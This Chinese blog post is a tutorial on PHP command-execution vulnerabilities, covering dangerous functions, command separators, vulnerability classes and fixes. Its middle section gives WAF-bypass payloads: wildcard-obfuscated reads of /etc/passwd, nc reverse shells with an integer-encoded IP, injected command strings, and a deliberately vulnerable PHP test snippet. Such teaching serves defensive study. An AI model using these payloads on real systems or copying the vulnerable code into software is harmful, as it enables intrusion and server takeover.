命令执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

命令执行漏洞利用条件:

  1. 应用调用执行系统命令的函数
  2. 将用户输入作为系统命令的参数拼接到了命令行中
  3. 没有对用户输入进行过滤或过滤不严

漏洞分类:

  • 代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program --arg $arg");

  • 系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

  • 调用的第三方组件存在代码执行漏洞

如wordPress中用来处理图片的imageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行

漏洞危害:

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell
  3. 控制整个网站甚至服务器
  4. 进一步内网渗透
  5. 等等

命令拼接符
|、||、&、&&的区别:
&:无论左边是false还是true,右边都执行
&&:具有短路效果,左边是false,右边不执行。
|:无论左边是false还是true,右边都会执行
||:具有短路效果,左边是true,右边不执行。


代码执行:
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
eval()、assert()、preg_replace()、call_user_func()
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞

其他函数
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()......

 

系统命令执行漏洞
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号
......

命令执行WAF绕过技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l

/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat/?tc/p?sswd

NC反弹shell:
nc -e /bin/bash 127.0.0.1 3737
为了避免符号,可以将IP地址转换成整型。
127.0.0.1->2130706433

使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737

技巧二:连接符

技巧三:未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,如何
$a ,$b,$c
我们事先并没有定义它们,输出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的变量值都是null

读取/etc/passwd:
cat$a /etc$a/passwd$a


测试WAF
测试代码:
<?php
echo "OK";
system('dig'.$_GET['host']);
?>

www.baidu.com;$s/bin$s/which$s nc$s
反弹shell:
/bin$s/nc$s -e/bin$s/bash$s 2130706433 3737

 

漏洞修复:

  1. 尽量少用执行命令的函数或者直接禁用
  2. 参数值尽量使用引号包括
  3. 在使用动态函数之前,确保使用的函数是指定的函数之一
  4. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
  5. 对PHP语言来说,不能完全控制的危险函数最好不要使用
 posted on 2019-09-04 12:48  再简单一点点  阅读(9618)  评论(0编辑  收藏  举报